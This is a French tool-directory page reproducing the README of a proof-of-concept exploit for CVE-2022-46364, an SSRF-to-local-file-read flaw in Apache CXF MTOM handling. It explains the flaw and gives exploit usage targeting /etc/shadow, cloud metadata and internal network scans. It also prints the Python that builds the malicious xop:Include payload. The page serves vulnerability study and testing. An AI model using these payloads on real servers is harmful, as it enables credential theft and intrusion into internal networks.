Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

Voir le dépôt
22il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Cette vulnérabilité permet à un attaquant d'effectuer des attaques SSRF (Server-Side Request Forgery) sur les services web Apache CXF qui acceptent les requêtes MTOM/XOP. Le problème réside dans la manière dont l'attribut href de xop:Include est analysé, permettant au serveur de demander des URL arbitraires.

Partager

CVE-2022-46364 : Exploitation SSRF vers LFI via XOP:Include dans Apache CXF MTOM

⚠️ AVERTISSEMENT

CET OUTIL EST UNIQUEMENT DESTINÉ À DES TESTS DE SÉCURITÉ ÉDUCATIFS ET AUTORISÉS

Ce proof-of-concept est fourni à des fins éducatives pour aider les professionnels de la sécurité à comprendre la vulnérabilité et à protéger leurs systèmes. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'effectuer des tests. En utilisant cet outil, vous acceptez de vous conformer à toutes les lois applicables.


📋 TABLE DES MATIÈRES

  1. Aperçu
  2. Détails de la vulnérabilité
  3. Analyse technique approfondie
  4. Utilisation de l'exploit
  5. Installation et prérequis
  6. Mesures d'atténuation
  7. Références et crédits

📌 APERÇU

AttributValeur
CVE IDCVE-2022-46364
GHSA IDGHSA-x3x3-qwjq-8gj4
Type de vulnérabilitéServer-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Logiciel concernéApache CXF < 3.5.5, Apache CXF < 3.4.10
SévéritéCritique
Score CVSS9.8 (Critique)
Vecteur d'attaqueRéseau
AuthentificationAucune requise
Versions corrigéesApache CXF 3.5.5+, 3.4.10+

Cet exploit exploite une vulnérabilité SSRF critique dans l'implémentation MTOM (Message Transmission Optimization Mechanism) d'Apache CXF pour parvenir à une inclusion de fichiers locaux (LFI) et à des capacités de scan réseau interne.


🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

Apache CXF valide incorrectement l'attribut href dans les éléments xop:Include lors du traitement des messages SOAP encodés en MTOM. La bibliothèque utilise URLConnection de Java pour déréférencer l'URI sans restrictions de protocole appropriées, permettant aux attaquants de spécifier :

  • file:// - Lire des fichiers locaux (LFI)
  • http:// / https:// - Requêtes réseau internes (SSRF)
  • ftp:// - Requêtes FTP (potentiel d'exploitation supplémentaire)

Pourquoi c'est important

Cette vulnérabilité est particulièrement dangereuse car :

  1. Aucune authentification requise - Les attaquants peuvent cibler tout point de terminaison SOAP accessible
  2. Aucun privilège spécial nécessaire - Le serveur exécute les requêtes avec ses propres privilèges
  3. Divulgation d'informations - Peut exposer les métadonnées cloud (AWS, GCP, Azure), les fichiers de configuration et le code source
  4. Pivot réseau - Le serveur vulnérable devient un proxy pour la reconnaissance réseau interne

Configurations concernées

Tout déploiement Apache CXF qui :

  • Accepte les messages SOAP encodés en MTOM
  • Possède au moins une méthode de service web avec un paramètre (de n'importe quel type)
  • Utilise des versions antérieures à la 3.5.5 (branche principale) ou 3.4.10 (branche legacy)

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

MTOM (Message Transmission Optimization Mechanism) est une norme W3C pour optimiser la transmission de données binaires dans les messages SOAP. Elle utilise XOP (XML-binary Optimized Packaging) pour inclure des références de données binaires :

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normalement, href contient une référence CID (Content-ID) vers une partie MIME. Cependant, la classe AttachmentUtil d'Apache CXF traite les valeurs href comme des URI génériques sans désinfection appropriée.

Le chemin de code vulnérable

  1. Analyse de la requête :

    • CXF reçoit une requête HTTP multipart/related avec Content-Type: application/xop+xml
    • AttachmentUtil.getAttachmentObject() traite les éléments xop:Include
  2. Déréférencement de l'URI :

    • La méthode vulnérable appelle new URL(href).openStream() directement
    • Aucun blocage du protocole file:// n'est effectué
    • Aucune restriction réseau (par exemple, aucune validation contre les plages IP internes)
  3. Incorporation de la réponse :

    • Le contenu récupéré est encodé en Base64 et intégré dans la réponse SOAP
    • L'attaquant reçoit les données dans l'enveloppe SOAP

Extrait de code (modèle vulnérable)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Pourquoi LFI fonctionne

Le protocole file:// suit le même chemin de code :

  • file:///etc/passwd → Java ouvre /etc/passwd en tant que flux de fichier
  • Le contenu du fichier est renvoyé comme pièce jointe
  • Aucune restriction de système de fichiers au-delà des permissions de l'utilisateur du processus CXF

Capacité de scan réseau

En itérant sur les IP et les ports, les attaquants peuvent :

  • Découvrir des services internes
  • Accéder aux points de terminaison de métadonnées cloud (169.254.169.254)
  • Contourner les contrôles de segmentation réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Explication des arguments

ArgumentDescriptionExemple
-t, --targetObligatoire. URL de base du service Apache CXF ciblehttp://10.10.10.50:8080
-e, --endpointOptionnel. Chemin du point de terminaison SOAP/services/UserManagement
-u, --urlURL HTTP/HTTPS à récupérer via SSRFhttp://169.254.169.254/latest/user-data
-f, --fileChemin de fichier local à lire via LFI/etc/shadow, C:\ProgramData\secret.txt

📦 INSTALLATION ET PRÉREQUIS

Prérequis

# Python 3.6 ou supérieur requis
python --version

Étapes d'installation

# Clonez le dépôt
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0


---



### Détails d'implémentation du cœur

#### 1. Construction de la charge utile MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MESURES D'ATTÉNUATION

Télécharger l’outil